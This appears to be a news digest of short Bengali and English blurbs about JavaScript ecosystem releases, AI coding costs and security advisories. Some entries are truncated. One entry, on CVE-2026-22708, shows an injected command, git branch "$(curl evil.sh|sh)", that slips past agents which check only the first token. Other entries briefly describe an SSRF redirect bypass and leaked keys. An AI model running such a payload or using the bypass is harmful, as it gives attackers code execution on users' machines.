জাভাস্ক্রিপ্ট এবং টাইপস্ক্রিপ্ট ইকোসিস্টেম।
The SSRF bug survives in Ollama 0.33.2 because the tensor model downloader uses a separate HTTP client that skips the redirect guard added for CVE-2026-5530, letting attackers redirect pulls to any reachable address.
CVE-2026-22708 প্রমাণ করে যে, এজেন্টগুলো যদি কমান্ডের শুধুমাত্র প্রথম টোকেনটি পরীক্ষা করে, তবে আর্গুমেন্টের মধ্যে লুকিয়ে রাখা পেলোড (যেমন: git branch "$(curl evil.sh|sh)") দিয়ে তাদের বিভ্রান্ত করা সম্ভব—যা আক্রমণকারীদের অটোমেশন বটের সমান ক্ষমতা প্রদান করে।
The 45 % discount applies when the same system prompt and tool schema are reused across many iterations, making Claude Fable 5.1 especially attractive for autonomous code reviewers, ticket-triage bots, and other repetitive agent pipelines.
WebFPGA JavaScript থেকে একটি Lattice iCE40-UP5K FPGA প্রোগ্রাম করার জন্য WebUSB API ব্যবহার করে, যা মাত্র কয়েক দশ মিলিওয়াট বিদ্যুৎ খরচ করে ১০ মিলিসেকেন্ডের কম সময়ে TinyML ইনফারেন্স সম্পন্ন করতে সক্ষম এবং সমস্ত ডেটা ডিভাইসেই সুরক্ষিত রাখে।
ফাঁস হওয়া এই কীগুলোর মাধ্যমে আক্রমণকারীরা চার্জ তৈরি, ইনভয়েস সংগ্রহ এবং ব্যক্তিগত তথ্য হাতিয়ে নিতে পারে, যা চার্জব্যাক, জরিমানা এবং ব্র্যান্ডের সুনামের ক্ষতির ঝুঁকি তৈরি করছে। দ্রুত পদক্ষেপ হিসেবে ডটফাইল ব্লক করা, প্রতিটি কী রোটেশন করা এবং সিক্রেটগুলোকে একটি ভল্টে স্থানান্তর করা প্রয়োজন।
নতুন এই রিলিজটি জটিল স্ক্রিপ্টের জন্য প্যারাগ্রাফ লেআউট আরও উন্নত করেছে, একটি সহজতর ড্রাফট ভিউ যুক্ত করেছে এবং ODF-DOCX/XLSX কনভার্সন উন্নত করেছে; পাশাপাশি সিকিউরিটি প্যাচ এবং ম্যাক্রো স্যান্ডবক্সিং অন-প্রিমিস ডকুমেন্টস সুরক্ষিত রাখতে সাহায্য করবে।
রাস্ট দিয়ে লেখা এই ইঞ্জিনটি একটি আলাদা প্রসেসে চলে, যা টাইপ অ্যানালাইসিসকে UI থ্রেড থেকে বিচ্ছিন্ন করে দেয়। এর সাথে যুক্ত হয়েছে আরও উন্নত ক্যাশিং ব্যবস্থা, যা শুধুমাত্র পরিবর্তিত ফাইলগুলো পুনরায় পরীক্ষা করে, ফলে ইনক্রিমেন্টাল বিল্ড আরও দ্রুততর ও মসৃণ হয়।
Vue 3.6-এর আসন্ন Vapor Mode সিঙ্গেল-ফাইল কম্পোনেন্টগুলোকে সরাসরি DOM কলে কম্পাইল করে, যা virtual-DOM diff ধাপটিকে বাদ দিয়ে দেয়। প্রতি সেকেন্ডে কয়েক ডজন বার রিপেইন্ট হওয়া বেঞ্চমার্ক গেমগুলোর ক্ষেত্রে এই পরিবর্তন রেন্ডার টাইম কমিয়ে দেয় এবং বান্ডেল সাইজ ছোট করে, যদিও কম-ফ্রিকোয়েন্সি সম্পন্ন UI-তে এর প্রভাব খুব সামান্য।
Anthropic’s engineers used 64 parallel Claude Fable 5 agents to rewrite Bun’s codebase in Rust over 11 days, logging $165K in token usage, but the true cost likely climbs higher once post-merge compute and safety audits are factored in.
বিটা-অনলি রিকোয়েস্ট হেডারগুলো চলে যাওয়ায়, এন্টারপ্রাইজগুলো অবশেষে আইনি এবং নিরাপত্তা সংক্রান্ত বাধাগুলো কাটিয়ে উঠতে পারবে। কম্পিউটার-ইউজ টুলের নতুন ব্যাচ-অ্যাকশন মোড কম ল্যাটেন্সি এবং কম টোকেন ব্যবহারের প্রতিশ্রুতি দিলেও, এই সাশ্রয়টি যাচাই করা প্রয়োজন।
The release also brings production-ready Partial Prerendering that can shave 40-60 % off Time to Interactive, tighter TypeScript support for Server Actions, and Rust-based middleware, but it requires Node 20+ and may break existing Webpack plugins.
নতুন বিটা ভার্সনটি আপনাকে শুধুমাত্র আপনার প্রয়োজনীয় গ্রিড ফিচারগুলো ইমপোর্ট করার সুযোগ দেয়—এতে সর্টিং কোড পুরোপুরি বাদ দেওয়া সম্ভব, ডাউনলোড সাইজ কমিয়ে প্রায় ৫ KB করা যায় এবং মেইন-থ্রেড ওয়ার্ক এড়িয়ে চলা যায় যা আগে INP স্কোর কমিয়ে দিত।
Meteor 3.5 একটি প্লাগেবল DDP ট্রান্সপোর্ট প্রবর্তন করেছে যা DDP_TRANSPORT=uws এনভায়রনমেন্ট ভেরিয়েবলের মাধ্যমে uWebSockets.js-এ পরিবর্তন করা সম্ভব। এটি RPC-নির্ভর অ্যাপ্লিকেশনের জন্য ১.৬ গুণ পর্যন্ত বেশি থ্রুপুট, ৯% কম CPU, ১১% কম RAM এবং ২৬% কম GC পজ নিশ্চিত করে।
Next.js-এ অ্যাডভান্সড সার্ভার সাইড ক্যাশিং আয়ত্ত করা। একটি Next.js অ্যাপ স্কেল করার জন্য শুধুমাত্র SSR এবং SSG-এর মধ্যে বেছে নেওয়া যথেষ্ট নয়। আপনার ডেটা যত বাড়বে, তা কমানোর জন্য আপনার অ্যাডভান্সড ক্যাশিং প্রয়োজন হবে...
যখন Coffer Playwright-এর মাধ্যমে একটি Chrome DevTools ডিবাগার সংযুক্ত করেছিল, তখন তাদের fetch-ভিত্তিক আপলোডের গতি ৬০০ Mbps থেকে কমে মাত্র ১১৩ Mbps-এ নেমে আসে—২০ গুণেরও বেশি এই ধীরগতির কারণে তাদের বেঞ্চমার্ক ফলাফল পুরোপুরি উল্টে যায়।
COOP এবং COEP হেডার যোগ করার ফলে প্রকৃত মাল্টিথ্রেডিংয়ের সুবিধা পাওয়া গেলেও এটি তাৎক্ষণিকভাবে অ্যানালিটিক্স, গুগল ফন্টস, ইউটিউব এমবেড এবং OAuth পপ-আপগুলোকে ব্লক করে দেয়, যা আমাকে অ্যাসেটগুলো সেলফ-হোস্ট করতে এবং ফ্রন্ট-এন্ড একদম শুরু থেকে নতুন করে লিখতে বাধ্য করেছে।
ব্রাউজার বনাম নোড: যেখানে ইভেন্ট লুপের পার্থক্য তৈরি হয়। ইভেন্ট লুপ জাভাস্ক্রিপ্ট ল্যাঙ্গুয়েজ স্পেসিফিকেশনের অংশ নয়। এটি হোস্ট এনভায়রনমেন্টের একটি অংশ। ব্রাউজার এবং নোড এটি ভিন্নভাবে ইমপ্লিমেন্ট করে...
The team discovered that a misleading error title sent engineers chasing phantom bugs, while 89% of the logged failures were simple network timeouts. By subscribing to connection-change events, adding a no-progress watchdog, and avoiding mid-download CDN switches, they eliminated silent 5.5 MB runti
CVE 2026 8457: WooCommerce Social Login Auth Bypass। WPWeb Elite-এর WooCommerce Social Login প্লাগইনটিতে একটি মারাত্মক নিরাপত্তা ত্রুটি রয়েছে। এই দুর্বলতার CVSS স্কোর হলো ৯.…
এই হুকটি একটি বুলিয়ান রিটার্ন করে যা রিয়েল-টাইমে আপডেট হয়, ফলে কোনো ফেচ (fetch) ব্যর্থ হওয়ার জন্য অপেক্ষা না করেই আপনি মূল অ্যাপের পরিবর্তে একটি সাধারণ “You are offline” মেসেজ দেখাতে পারেন, তবে এটি নিজে থেকে ক্যাশিং বা ব্যাকগ্রাউন্ড সিঙ্ক প্রদান করে না।
একজন ডেভেলপারের তৈরি ডকারাইজড (Dockerised) LiteLLM প্রক্সি Claude Code CLI-কে Bedrock-এর Amazon-এর Nova মডেলের সাথে কথা বলতে সক্ষম করে। এটি কাজের ধারা অপরিবর্তিত রেখে Anthropic-এর মূল্যের তুলনায় শেখার পর্যায়ের খরচ এক-তৃতীয়াংশ পর্যন্ত কমিয়ে দেয়।
The Rust-based Sätteri engine in Astro 7 misorders syntax highlighting and plugin execution, turning display-math blocks into plain code, wiping out heading IDs and silently ignoring any extra config fields like shikiConfig, forcing developers to overhaul their Markdown stack.
Android Gradle Plugin 9.2.0-এর সাথে থাকা R8 এখন reflective AtomicFieldUpdater কলগুলোকে একটি মাত্র Unsafe instruction দিয়ে প্রতিস্থাপন করছে, যা সিনক্রোনাইজেশন খরচ কমিয়ে দিচ্ছে এবং কোনো সোর্স কোড পরিবর্তন ছাড়াই প্রায় ২ গুণ দ্রুততর channel, mutex এবং StateFlow অপারেশন নিশ্চিত করছে।
মে ২০২৬ আপডেটটি ডেভেলপারদের একটি সাধারণ async কলের মাধ্যমে সার্ভার-সাইড লজিক কল করার সুবিধা দেবে, পাশাপাশি TypeScript 6 নিয়ে আসছে satisfies অপারেটর, দ্রুততর ইনক্রিমেন্টাল বিল্ড এবং আরও কঠোর রুট টাইপিং—যা সবকিছুই করা যাবে SvelteKit CLI ব্যবহার করেই।
